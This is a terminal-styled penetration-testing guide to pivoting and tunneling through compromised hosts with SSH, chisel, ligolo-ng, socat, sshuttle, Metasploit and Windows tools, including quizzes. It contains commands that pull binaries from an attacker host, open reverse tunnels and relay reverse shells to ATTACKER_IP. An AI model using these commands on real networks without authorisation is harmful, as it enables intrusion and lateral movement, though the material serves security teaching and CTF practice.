kavklaw@llm ~ /guides/pivoting-tunneling

kavklaw@llm $ cat pivoting-tunneling-guide.md

Pivoting & Tunneling

πŸ”΄ Advanced

⏱️ 25 min read · Reach internal networks through compromised hosts using SSH, chisel, ligolo-ng, and more

← Back to Guides

Pivoting requires tools on both your attacker machine and the compromised pivot host. Have these ready before you start:

# On your attacker machine (Kali/Parrot):
sudo apt install proxychains4 sshuttle nmap

# Chisel β€” single static binary, no dependencies
# Download BOTH architectures from: https://github.com/jpillora/chisel/releases
# Keep these in your toolkit:
#   chisel_linux_amd64    (most Linux targets)
#   chisel_linux_arm64    (ARM targets)
#   chisel_windows_amd64  (Windows targets)

# Socat β€” multipurpose relay tool
sudo apt install socat

# Ligolo-ng β€” download proxy (attacker) and agent (pivot) binaries
# https://github.com/nicocha30/ligolo-ng/releases

# Proxychains config β€” edit BEFORE you need it:
# /etc/proxychains4.conf
# Uncomment: dynamic_chain
# Comment out: strict_chain
# Keep: proxy_dns
# [ProxyList] at bottom: socks5 127.0.0.1 1080

For SSH-based pivoting, you just need SSH credentials or a key for the pivot host β€” nothing extra to install. For chisel and ligolo-ng, you'll need to transfer the binary to the compromised host (via wget, curl, or a Python HTTP server).

⚑ Quick Start

Need to reach an internal network through a compromised host right now? Here are the fastest methods:

# Scenario: You have SSH access to 10.10.10.100, need to reach 172.16.1.0/24

# Method 1: SSH SOCKS proxy (simplest)
ssh -D 9050 [email protected]
# Then use proxychains: proxychains nmap -sT 172.16.1.10

# Method 2: SSH local port forward (specific service)
ssh -L 8080:172.16.1.10:80 [email protected]
# Now browse http://localhost:8080 to reach internal web server

# Method 3: Chisel reverse SOCKS (no SSH needed)
# On your attacker machine:
chisel server --reverse -p 8000
# On compromised host:
./chisel client YOUR_IP:8000 R:socks
# Now use proxychains with port 1080

# Method 4: sshuttle (transparent VPN)
sshuttle -r [email protected] 172.16.1.0/24
# Now directly access 172.16.1.x as if you're on the network

Each method has trade-offs. Let's understand when to use each one.

🌐 What Is Pivoting?

Pivoting means using a box you've already popped to reach networks your attacker machine can't touch directly. Real networks aren't flat β€” they have segments, VLANs (Virtual LANs β€” isolated network sections), firewalls, and internal subnets. You get in by "hopping" through hosts that sit on multiple networks.

Think of it like this: you compromise a web server in the DMZ (demilitarized zone -- a network segment between the public internet and the private internal network). That web server has two network interfaces: one facing the internet (where you attacked it) and one facing the internal corporate network. You can now use that web server as a bridge to reach internal hosts that no external attacker could directly touch.

Why You Can't Directly Reach Internal Networks

Networks are deliberately segmented to limit damage. Internal hosts (databases, domain controllers, file servers) use private IP ranges like 10.x.x.x, 172.16.x.x, or 192.168.x.x β€” these addresses aren't routable on the public internet. Even if you know the IP, your packets have no path to get there. Firewalls and routers enforce these boundaries: the web server in the DMZ is exposed to the internet on specific ports, but the internal database behind it is completely invisible from outside. The only way to reach it is from a machine that's already on that internal network β€” which is exactly what pivoting gives you.

Why Pivoting Matters

  • Network segmentation -- internal hosts aren't directly accessible from outside
  • Firewall rules -- only certain traffic paths are allowed
  • Lateral movement -- moving from one compromised host to the next
  • Accessing internal services -- databases, admin panels, file shares that are internal-only
  • CTF/HTB challenges -- many boxes require pivoting through multi-host networks

Pivoting vs Tunneling vs Port Forwarding

These terms get used interchangeably, but they're different levels of the same concept:

  • Port forwarding -- the simplest approach. Redirects a single port from one host to another. You create a one-to-one mapping: "my port 8080 maps to internal host's port 80." Simple but limited β€” you need a separate forward for every port you want to reach.
  • SOCKS proxy (tunneling) -- a general-purpose proxy that can forward any TCP traffic to any destination through the pivot. One tunnel handles all your traffic β€” web browsing, SSH, database connections, everything. You just prepend proxychains to your commands. More flexible than port forwarding, but adds latency and doesn't carry ICMP. UDP support depends on the implementation (SOCKS5 defines UDP ASSOCIATE, but many SSH/proxychains workflows are effectively TCP-only).
  • VPN-style tunnels (sshuttle, ligolo-ng) -- the most transparent option. Creates a virtual network interface on your machine so your OS thinks it has a direct route to the internal network. No proxychains needed, every tool works natively, and routing is handled at the kernel level. The trade-off: more complex setup and usually requires root on your attacker machine.
  • Pivoting -- the broader concept of using a compromised host to reach other networks. Tunneling and port forwarding are techniques you use to achieve pivoting.

πŸ—ΊοΈ Understanding Network Layouts

Before pivoting, you need to understand the network topology. Here's a typical scenario:

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚  Attacker: 10.10.14.5  β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚  VPN / Internet
             β”‚
  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚  Pivot Host         β”‚ ◄── You compromised this
  β”‚  eth0: 10.10.10.100 β”‚     (accessible from attacker)
  β”‚  eth1: 172.16.1.1   β”‚     (internal network)
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚  Internal network: 172.16.1.0/24
       β”Œβ”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”
       β–Ό     β–Ό     β–Ό
   β”Œβ”€β”€β”€β”€β”€β”€β”β”Œβ”€β”€β”€β”€β”€β”€β”β”Œβ”€β”€β”€β”€β”€β”€β”
   β”‚Targetβ”‚β”‚Targetβ”‚β”‚Targetβ”‚ ◄── Can't reach directly!
   β”‚ .10  β”‚β”‚ .20  β”‚β”‚ .30  β”‚
   β””β”€β”€β”€β”€β”€β”€β”˜β””β”€β”€β”€β”€β”€β”€β”˜β””β”€β”€β”€β”€β”€β”€β”˜

First step after compromising the pivot host β€” enumerate networks:

# Linux
ip addr show               # What interfaces exist?
ip route                   # What routes are configured?
cat /etc/resolv.conf       # What DNS servers? (reveals internal DNS)
arp -a                     # What hosts are in the ARP cache?

# Windows
ipconfig /all
route print
arp -a
netstat -ano
πŸ’‘ Pro Tip: After compromising any host, always check for multiple network interfaces with ip addr or ipconfig /all. If you see more than one non-loopback interface (or an interface on a different subnet), that's your signal to pivot. Also check the ARP cache -- it shows hosts the compromised machine has recently communicated with.

πŸ” SSH Tunneling

SSH tunneling is the most common pivoting technique because SSH is almost always available on Linux systems. There are three types of SSH tunnels:

Local Port Forwarding (-L)

"Bring a remote port to my machine." Opens a port on your local (attacker) machine that forwards traffic through the SSH connection to a destination on the internal network. Think of it as creating a tunnel: traffic enters on your end and exits on the pivot's end.

# Syntax: ssh -L [local_port]:[remote_host]:[remote_port] user@pivot_host

# Forward local port 8080 to internal web server
ssh -L 8080:172.16.1.10:80 [email protected]
# Now: http://localhost:8080 β†’ reaches 172.16.1.10:80

# Forward local port 3306 to internal MySQL
ssh -L 3306:172.16.1.20:3306 [email protected]
# Now: mysql -h 127.0.0.1 -P 3306 β†’ reaches internal MySQL

# Multiple port forwards in one connection
ssh -L 8080:172.16.1.10:80 -L 4444:172.16.1.10:443 -L 3306:172.16.1.20:3306 [email protected]

# Forward without opening a shell (-N = no command, -f = background)
ssh -L 8080:172.16.1.10:80 -N -f [email protected]

# Bind to all interfaces (allow others to connect through you)
ssh -L 0.0.0.0:8080:172.16.1.10:80 [email protected]

# Diagram:
# [Attacker:8080] β†’ SSH tunnel β†’ [Pivot:10.10.10.100] β†’ [Internal:172.16.1.10:80]
# localhost:8080 ================================β†’ 172.16.1.10:80

Remote Port Forwarding (-R)

"Put my local port on the remote machine." Opens a port on the remote (pivot) machine that forwards back to your attacker machine. This is the reverse direction: traffic enters on the pivot's end and exits on yours. Useful for getting reverse shells from internal hosts β€” they connect to the pivot, and the traffic tunnels back to your listener.

# Syntax: ssh -R [remote_port]:[local_host]:[local_port] user@pivot_host

# Make your attacker port 4444 accessible from the pivot host
ssh -R 4444:127.0.0.1:4444 [email protected]
# Now internal hosts can connect to pivot:4444 β†’ reaches attacker:4444

# Expose your web server on the pivot host
ssh -R 8888:127.0.0.1:80 [email protected]
# Now 10.10.10.100:8888 β†’ reaches your attacker's port 80

# Diagram:
# [Internal host] β†’ [Pivot:10.10.10.100:4444] β†’ SSH tunnel β†’ [Attacker:4444]
# Internal targets connect to pivot:4444 which reaches your listener
⚠️ Note: Remote port forwarding requires GatewayPorts yes in the SSH server config (/etc/ssh/sshd_config) to bind to non-localhost addresses. Without it, the forwarded port only listens on 127.0.0.1 of the pivot host.

Dynamic Port Forwarding (-D) -- SOCKS Proxy

"Turn the SSH connection into a SOCKS proxy." A SOCKS proxy (Socket Secure) is a general-purpose proxy that can forward any TCP traffic -- not just web traffic. This is the most flexible option. It creates a SOCKS proxy that routes any traffic through the pivot host to any internal destination.

# Syntax: ssh -D [local_port] user@pivot_host

# Create SOCKS proxy on port 9050
ssh -D 9050 [email protected]

# Now configure tools to use SOCKS proxy at 127.0.0.1:9050
# Use proxychains (auto-routes through the proxy):
proxychains nmap -sT -Pn 172.16.1.10
proxychains curl http://172.16.1.10/
proxychains ssh [email protected]

# Background the tunnel
ssh -D 9050 -N -f [email protected]

# With a non-standard SSH port
ssh -D 9050 -p 2222 [email protected]

# Diagram:
# [Tool] β†’ proxychains β†’ [SOCKS:9050] β†’ SSH β†’ [Pivot] β†’ [Any internal host]

SSH Tunnel Cheat Sheet

TypeFlagDirectionUse Case
Local-LAttacker β†’ Pivot β†’ InternalAccess specific internal service
Remote-RInternal β†’ Pivot β†’ AttackerGet reverse shells from internal hosts
Dynamic-DAttacker β†’ Pivot β†’ AnywhereFull SOCKS proxy for all traffic

🧠 Knowledge Check -- SSH Tunneling

Match the SSH tunnel type to its use case: You need to access an internal web server (172.16.1.10:80) through a pivot host.
Local port forwarding (-L) is the right choice for accessing a specific internal service. ssh -L 8080:172.16.1.10:80 user@pivot opens port 8080 on your machine, and connections to it are forwarded through the SSH tunnel to 172.16.1.10:80. You then access it at http://localhost:8080. Remote (-R) goes the other direction (exposing your port on the remote). Dynamic (-D) creates a general SOCKS proxy, not a specific port forward.
Complete the SSH command to create a SOCKS proxy on port 9050:
$ ssh  [email protected]
ssh -D 9050 [email protected] creates a SOCKS5 proxy on your local port 9050. All traffic routed through this proxy is tunneled through the SSH connection to the pivot host, which forwards it to the final destination. Use with proxychains: proxychains nmap -sT -Pn 172.16.1.10. Add -N (no command) and -f (background) if you just want the tunnel without a shell.
πŸ“‹ Scenario
# Network Layout:
# [Attacker: 10.10.14.5]
#     |
# [Pivot: 10.10.10.100]
#   eth0: 10.10.10.100  (reachable)
#   eth1: 172.16.1.1    (internal)
#     |
# [Target: 172.16.1.10] (internal web + SSH)

# You have: SSH access to pivot, command execution on pivot
# You do NOT have: SSH client on the pivot
Without SSH on the pivot host, which tool should you use for pivoting?
Chisel is the perfect tool when SSH isn't available but you have command execution. Transfer the single chisel binary to the pivot, then: (1) On attacker: chisel server --reverse -p 8000, (2) On pivot: ./chisel client ATTACKER:8000 R:socks. This creates a SOCKS5 proxy on your attacker machine (port 1080) tunneled over HTTP. No SSH, no installation β€” just one binary. sshuttle requires Python on the pivot and SSH access.
πŸ’‘ Pro Tip: For CTFs, -D (dynamic SOCKS) is usually the best choice because it lets you reach any host and port through the pivot without setting up individual forwards. Combine with proxychains for easy access to the entire internal network.

πŸ”§ Chisel

Chisel is a fast TCP/UDP tunnel transported over HTTP, secured via SSH. It's perfect when you don't have SSH access but have command execution on the pivot host. It's a single binary, no installation needed.

Setup

# Download chisel (get the right architecture)
# https://github.com/jpillora/chisel/releases

# On your attacker machine β€” start chisel server
chisel server --reverse -p 8000
# --reverse allows clients to open reverse tunnels

# Transfer chisel to the compromised host
# Use python HTTP server, curl, wget, etc.
python3 -m http.server 80  # on attacker
wget http://ATTACKER_IP/chisel  # on pivot host
chmod +x chisel

Reverse SOCKS Proxy (Most Common)

# On compromised host β€” connect back to attacker
./chisel client ATTACKER_IP:8000 R:socks
# This creates a SOCKS5 proxy on attacker's port 1080

# On attacker β€” use proxychains with the SOCKS proxy
# Edit /etc/proxychains4.conf:
# socks5 127.0.0.1 1080

proxychains nmap -sT -Pn 172.16.1.0/24
proxychains curl http://172.16.1.10/

# Specify a different SOCKS port
./chisel client ATTACKER_IP:8000 R:9050:socks

Reverse Port Forward

# Forward a specific internal port to attacker
./chisel client ATTACKER_IP:8000 R:8080:172.16.1.10:80
# Now attacker can access http://localhost:8080 β†’ internal:80

# Multiple forwards
./chisel client ATTACKER_IP:8000 R:8080:172.16.1.10:80 R:3306:172.16.1.20:3306

Forward Tunnel (When You Can Reach the Pivot)

# On compromised host β€” start chisel server
./chisel server -p 9000

# On attacker β€” connect as client
chisel client PIVOT_IP:9000 8080:172.16.1.10:80
# Now localhost:8080 β†’ internal:80 through the pivot
πŸ’‘ Pro Tip: Chisel is the go-to tool when SSH isn't available. It's a single static binary, works on Linux/Windows/macOS, and the reverse SOCKS proxy mode gives you full access to internal networks. Always have chisel binaries for both Linux (amd64) and Windows (amd64) in your toolkit.

πŸ”— Ligolo-ng

Ligolo-ng is a modern tunneling tool that creates a TUN interface (a virtual network device β€” think of it like a fake network card) on your attacker machine, making pivoting transparent. No proxychains needed β€” your OS thinks it has a direct route to the internal network, so every tool works as normal. It's like having a direct VPN to the internal network.

# Download from: https://github.com/nicocha30/ligolo-ng/releases
# You need: proxy (attacker), agent (pivot host)

# On attacker β€” start the proxy
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert -laddr 0.0.0.0:11601

# Transfer agent to compromised host
# On compromised host β€” connect back
./agent -connect ATTACKER_IP:11601 -ignore-cert

# In the proxy console:
# session β€” select the agent session
# ifconfig β€” see the pivot host's interfaces
# start β€” start the tunnel

# Add a route on attacker for the internal network
sudo ip route add 172.16.1.0/24 dev ligolo

# Now you can directly access internal hosts!
nmap -sT -Pn 172.16.1.10       # No proxychains needed!
curl http://172.16.1.10/         # Direct access!
ssh [email protected]             # Works transparently!

# To get reverse connections from internal hosts:
# In ligolo proxy console:
# listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444
# Now internal hosts connecting to pivot:4444 reach your attacker:4444
πŸ’‘ Pro Tip: Ligolo-ng is the most user-friendly pivoting tool available. Once the tunnel is up, you don't need proxychains -- everything works as if you're directly on the internal network. The TUN interface approach means all TCP and UDP traffic is tunneled transparently. This is my recommended tool for complex pivoting scenarios.

πŸ”Œ Socat Port Forwarding

Socat (short for "SOcket CAT") is a flexible networking tool that can create simple port forwards on the compromised host. It's useful when you just need to forward one or two ports and don't want to set up a full tunnel.

# Simple TCP port forward
# On pivot host: forward port 8080 to internal host's port 80
socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80
# Now connect to pivot:8080 β†’ reaches internal:80

# Background the forward
socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80 &

# Fork mode handles multiple connections
# Without fork, socat exits after the first connection

# UDP port forward
socat UDP-LISTEN:53,fork UDP:172.16.1.10:53

# Forward with bind address
socat TCP-LISTEN:8080,bind=10.10.10.100,fork TCP:172.16.1.10:80

# Socat as a reverse shell relay
# On pivot: relay connections from internal to attacker
socat TCP-LISTEN:4444,fork TCP:ATTACKER_IP:4444
# Internal shell β†’ pivot:4444 β†’ attacker:4444

# Encrypted tunnel with socat (using SSL)
# Generate cert: openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -out cert.pem
socat OPENSSL-LISTEN:443,cert=cert.pem,key=key.pem,fork TCP:172.16.1.10:80

⛓️ Proxychains Configuration

Proxychains is a tool that forces any TCP connection to go through a proxy (SOCKS4/5 or HTTP). You prepend proxychains to any command and it automatically routes the traffic through your tunnel. It's essential when using SSH dynamic tunnels or chisel SOCKS proxies.

Config file locations (check both): /etc/proxychains4.conf and /etc/proxychains.conf

Key settings to configure:

  • dynamic_chain β€” use this (skips dead proxies)
  • #strict_chain β€” comment this out
  • proxy_dns β€” keep this (DNS through proxy too)
sudo nano /etc/proxychains4.conf

# At the bottom β€” [ProxyList] section:
# socks5 127.0.0.1 1080    ← chisel default
# socks5 127.0.0.1 9050    ← SSH dynamic forward

Using Proxychains

# Basic usage β€” prepend 'proxychains' to any command
proxychains nmap -sT -Pn 172.16.1.10
proxychains curl http://172.16.1.10/
proxychains ssh [email protected]
proxychains mysql -h 172.16.1.20 -u root

# Quiet mode (suppress proxychains output)
proxychains -q nmap -sT -Pn 172.16.1.10

# Nmap through proxychains β€” IMPORTANT limitations:
# βœ… TCP connect scan (-sT) works
# ❌ SYN scan (-sS) does NOT work (needs raw sockets)
# ❌ UDP scan (-sU) does NOT work
# ❌ Ping/ICMP does NOT work
# Always use: proxychains nmap -sT -Pn ...

# Firefox through SOCKS proxy
# Settings β†’ Network β†’ SOCKS Host: 127.0.0.1, Port: 1080, SOCKS v5
# Also check: "Proxy DNS when using SOCKS v5"

# Or set environment variable
export ALL_PROXY=socks5://127.0.0.1:1080
⚠️ Important: Proxychains only works with TCP. ICMP (ping), UDP, and raw socket scans don't work through proxychains. When scanning through proxychains, always use nmap -sT -Pn (TCP connect, skip ping). SYN scans (-sS) will fail silently.

πŸš€ sshuttle -- VPN over SSH

sshuttle is a transparent proxy over SSH, not a full packet-level VPN like ligolo-ng's TUN interface. Unlike SSH dynamic forwarding + proxychains, sshuttle routes traffic at the kernel level (via iptables), so you don't need to prepend proxychains to every command.

# Basic usage β€” route specific subnet through SSH
sshuttle -r [email protected] 172.16.1.0/24

# Now you can directly access internal hosts:
nmap -sT -Pn 172.16.1.10    # No proxychains needed!
curl http://172.16.1.10/      # Direct access!

# Route all traffic (except SSH itself)
sshuttle -r [email protected] 0.0.0.0/0

# Multiple subnets
sshuttle -r [email protected] 172.16.1.0/24 192.168.1.0/24

# With SSH key authentication
sshuttle -r [email protected] --ssh-cmd "ssh -i id_rsa" 172.16.1.0/24

# Non-standard SSH port
sshuttle -r [email protected]:2222 172.16.1.0/24

# Exclude specific subnets
sshuttle -r [email protected] 172.16.1.0/24 -x 172.16.1.1

# DNS through the tunnel
sshuttle --dns -r [email protected] 172.16.1.0/24

# Verbose mode
sshuttle -vr [email protected] 172.16.1.0/24

sshuttle vs SSH Dynamic Forwarding

FeaturesshuttleSSH -D + Proxychains
Setup complexitySimple (one command)Two steps (SSH + configure proxychains)
Transparent routingβœ… Yes -- no proxy config needed❌ Must prepend proxychains
UDP support❌ TCP only❌ TCP only
DNS through tunnelβœ… With --dns flagβœ… With proxy_dns in config
Requires on pivotPython (usually present)SSH server only
Root on attackerβœ… Required (modifies iptables)❌ Not required
πŸ’‘ Pro Tip: sshuttle is the fastest way to pivot if you have SSH access. One command and you're transparently routing to the internal network. The only downside is it requires Python on the pivot host (which is almost always present on Linux). Use it as your default for SSH-based pivoting.

πŸ”„ Metasploit Pivoting

If you have a Meterpreter session (Metasploit's advanced shell on a compromised host) on the pivot host, Metasploit has built-in pivoting capabilities.

# Assuming you have a meterpreter session (session 1) on the pivot host

# Method 1: autoroute β€” add route through the session
meterpreter> run autoroute -s 172.16.1.0/24
# Or from msf console:
msf> use post/multi/manage/autoroute
msf> set SESSION 1
msf> set SUBNET 172.16.1.0
msf> run

# Now Metasploit modules automatically route through the pivot
msf> use auxiliary/scanner/portscan/tcp
msf> set RHOSTS 172.16.1.10
msf> set PORTS 22,80,443,445
msf> run

# Method 2: portfwd β€” forward specific ports
meterpreter> portfwd add -l 8080 -p 80 -r 172.16.1.10
# Now localhost:8080 β†’ internal:80

meterpreter> portfwd add -l 4444 -p 4444 -r 172.16.1.10
# Reverse shell from internal host

# List active forwards
meterpreter> portfwd list

# Delete a forward
meterpreter> portfwd delete -l 8080 -p 80 -r 172.16.1.10

# Method 3: SOCKS proxy
msf> use auxiliary/server/socks_proxy
msf> set SRVPORT 9050
msf> set VERSION 5
msf> run -j

# Now use proxychains with port 9050
# proxychains nmap -sT -Pn 172.16.1.10

πŸͺŸ Windows Pivoting

When your pivot host is Windows, the tools and techniques differ. Windows doesn't have SSH by default (though modern versions do), so you need Windows-specific approaches.

netsh Port Forwarding

# Built-in Windows port forwarding (requires admin)
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.1.10

# List all port forwards
netsh interface portproxy show all

# Delete a forward
netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0

# Also need to allow the port through Windows Firewall
netsh advfirewall firewall add rule name="Pivot 8080" dir=in action=allow protocol=tcp localport=8080

Plink (PuTTY Command Line)

# Plink β€” PuTTY's SSH client for command line
# Download: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

# Dynamic SOCKS proxy (like ssh -D)
plink.exe -D 9050 -ssh user@ATTACKER_IP -pw password -N

# Local port forward
plink.exe -L 8080:172.16.1.10:80 -ssh user@ATTACKER_IP -pw password -N

# Remote port forward
plink.exe -R 4444:127.0.0.1:4444 -ssh user@ATTACKER_IP -pw password -N

# Auto-accept host key (non-interactive)
echo y | plink.exe -ssh user@ATTACKER_IP -pw password -D 9050 -N

Chisel on Windows

# Chisel works on Windows too β€” same syntax
# Download the windows amd64 binary

# Reverse SOCKS proxy
chisel.exe client ATTACKER_IP:8000 R:socks

# Port forward  
chisel.exe client ATTACKER_IP:8000 R:8080:172.16.1.10:80

Windows SSH (Modern Windows 10/11, Server 2019+)

# Modern Windows includes OpenSSH client
ssh -D 9050 user@ATTACKER_IP -N
ssh -L 8080:172.16.1.10:80 user@ATTACKER_IP -N

# Check if SSH is available
where ssh.exe
# C:\Windows\System32\OpenSSH\ssh.exe

πŸ”— Double Pivoting

Sometimes you need to pivot through multiple networks, compromising Host A to reach Network B, then compromising Host B to reach Network C. This is double (or multi-hop) pivoting.

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚ Attacker         β”‚
  β”‚ 10.10.14.5       β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚  Hop 1
  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚ Pivot 1          β”‚
  β”‚ 10.10.10.100     β”‚
  β”‚ 172.16.1.1       β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚  Hop 2
  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚ Pivot 2          β”‚
  β”‚ 172.16.1.10      β”‚
  β”‚ 192.168.1.1      β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”˜
           β”‚
  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚ Target           β”‚
  β”‚ 192.168.1.100    β”‚ ◄── Need to reach this!
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

# Method 1: Chained SSH tunnels
# First hop β€” SOCKS proxy through Pivot 1
ssh -D 9050 -N -f [email protected]

# Second hop β€” SSH through the first proxy to create another SOCKS
proxychains ssh -D 9051 -N -f [email protected]

# Now edit proxychains.conf to use port 9051 for the deeper network

# Method 2: Chisel chain
# On attacker:
chisel server --reverse -p 8000

# On Pivot 1:
./chisel client ATTACKER_IP:8000 R:socks  # SOCKS on attacker:1080

# On Pivot 2 (reached through proxychains):
# Start another chisel server on Pivot 1 first:
# (on Pivot 1): ./chisel server --reverse -p 9000
# (on Pivot 2): ./chisel client 172.16.1.1:9000 R:socks

# Method 3: Ligolo-ng (cleanest for double pivot)
# Ligolo supports adding multiple agents
# 1. Set up ligolo proxy and first agent as normal
# 2. Add route for first internal network
# 3. From the first internal network, transfer agent to Pivot 2
# 4. Pivot 2 connects back to your ligolo proxy
# 5. Add route for second internal network
# 6. Both networks are now accessible!

# Method 4: SSH ProxyJump (-J flag)
ssh -J [email protected] [email protected]
# Chains through Pivot 1 to reach Pivot 2

# ProxyJump with port forwarding
ssh -J [email protected] -L 8080:192.168.1.100:80 [email protected]
# Chains through two hops, forward internal web server

# Triple jump
ssh -J user@hop1,user@hop2 user@hop3
πŸ’‘ Pro Tip: For double pivoting, ligolo-ng is by far the cleanest solution. Each agent connects back to your proxy, and you just add routes for each network. No chained proxychains configs, no proxy-in-a-proxy complexity. For SSH-based double pivoting, the -J (ProxyJump) flag is elegant and built-in.

🎯 Real-World Methodology

Here's the step-by-step approach to pivoting in a real engagement or CTF:

Step 1: Discover Internal Networks

# On the compromised pivot host:
ip addr show                    # Network interfaces
ip route                        # Routing table
cat /etc/resolv.conf            # DNS servers
arp -a                          # Known hosts
cat /etc/hosts                  # Static mappings
netstat -tulnp                  # Active connections

# Windows:
ipconfig /all
route print
arp -a
type C:\Windows\System32\drivers\etc\hosts
netstat -ano

Step 2: Choose Your Pivoting Tool

  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚      PIVOTING TOOL DECISION TREE       β”‚
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                      β–Ό
            Have SSH access?
           β”Œβ”€β”€β”€ YES ───┐─── NO ──────┐
           β–Ό            β”‚             β–Ό
     sshuttle (easy)    β”‚    Have cmd execution?
     or SSH -D          β”‚    β”Œβ”€β”€ YES ──┐── NO ──┐
                        β”‚    β–Ό         β”‚        β–Ό
                        β”‚  chisel      β”‚  Meterpreter?
                        β”‚  (single     β”‚   β–Ό YES
                        β”‚   binary)    β”‚  autoroute +
                        β”‚              β”‚  socks_proxy
                        β–Ό
              Need transparent routing?
              β–Ό YES              β–Ό NO
         ligolo-ng          SSH -D +
         or sshuttle        proxychains

Step 3: Set Up the Tunnel

# Example using chisel (most universally applicable):
# Attacker:
chisel server --reverse -p 8000

# Pivot host:
./chisel client ATTACKER_IP:8000 R:socks

# Configure proxychains:
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

Step 4: Enumerate Internal Network

# Host discovery (can't use ICMP through SOCKS)
proxychains nmap -sT -Pn --top-ports 20 172.16.1.1-254 -T4

# Or use a ping sweep from the pivot host itself
for i in $(seq 1 254); do
  ping -c 1 -W 1 172.16.1.$i &>/dev/null && echo "172.16.1.$i is alive"
done

# Detailed scan of discovered hosts
proxychains nmap -sT -Pn -sV -p- 172.16.1.10

Step 5: Attack Internal Targets

# Web browsing β€” configure browser SOCKS proxy
# Or use proxychains:
proxychains firefox http://172.16.1.10/ &

# Exploitation through the tunnel
proxychains python3 exploit.py -t 172.16.1.10

# Reverse shells from internal hosts need special handling:
# Set up a relay so internal hosts can reach your listener
# Chisel: R:4444:127.0.0.1:4444
# SSH: -R 4444:127.0.0.1:4444
# Ligolo: listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444

🧠 Knowledge Check -- Advanced Pivoting

Complete the chisel client command to create a reverse SOCKS proxy:
$ ./chisel client ATTACKER_IP:8000 
R:socks tells the chisel client to create a reverse SOCKS proxy. The "R:" prefix means reverse (the proxy opens on the server/attacker side, not the client/pivot side). This creates a SOCKS5 proxy on the attacker's port 1080 by default. You can specify a different port with R:9050:socks. Then configure proxychains to use 127.0.0.1:1080 (or your chosen port).
What command should you always run first after compromising a host to check for pivoting opportunities?
Always check network interfaces first with ip addr (Linux) or ipconfig /all (Windows). Multiple interfaces on different subnets mean the host has access to other networks you can pivot into. Also check ip route, arp -a (recently contacted hosts), and /etc/resolv.conf (internal DNS). If you only see one interface, there might not be anything to pivot to.
Why can't you use nmap SYN scans (-sS) through proxychains?
SOCKS proxies operate at the TCP connection level β€” they handle complete TCP connections (connect, send data, receive data, close). SYN scans craft raw packets at a lower level, sending individual SYN packets without completing the TCP handshake. Raw sockets can't be routed through a SOCKS proxy. You must use -sT (TCP connect) which makes full TCP connections. Also use -Pn because ICMP ping doesn't work through SOCKS either.
For SSH-based pivoting when you need transparent routing (no proxychains), which tool should you use?
sshuttle creates a transparent VPN-like tunnel over SSH. One command: sshuttle -r user@pivot 172.16.1.0/24 and you can directly access internal hosts without proxychains β€” nmap, curl, ssh, everything just works as if you're on the internal network. It modifies iptables (requires root on attacker) and needs Python on the pivot (almost always present on Linux). It's the fastest and simplest SSH-based pivoting solution.
In the SSH ProxyJump (-J) command ssh -J user@hop1 user@hop2, what does the -J flag do?
The -J flag (ProxyJump) tells SSH to first connect to the jump host, then use that connection to reach the final destination. It's an elegant built-in solution for double pivoting. ssh -J user@hop1 user@hop2 connects through hop1 to reach hop2. You can chain multiple jumps: ssh -J user@hop1,user@hop2 user@hop3. Combine with -L for port forwarding through multiple hops: ssh -J user@hop1 -L 8080:192.168.1.100:80 user@hop2.

⚠️ Common Mistakes

❌ Mistake #1: Using nmap -sS through proxychains.
SYN scans require raw sockets, which don't work through SOCKS proxies. You'll get errors or no results. Always use -sT (TCP connect) and -Pn (skip ping) when scanning through proxychains.
❌ Mistake #2: Forgetting to check for multiple network interfaces.
After compromising any host, always run ip addr or ipconfig /all. If there's only one interface, there might not be anything to pivot to. If there are multiple interfaces on different subnets -- that's your next target.
❌ Mistake #3: Not setting up reverse shell relays.
When exploiting internal hosts through a pivot, reverse shells need to connect back through the tunnel. If your listener is on port 4444, you need to forward that port through the pivot so internal hosts can reach it.
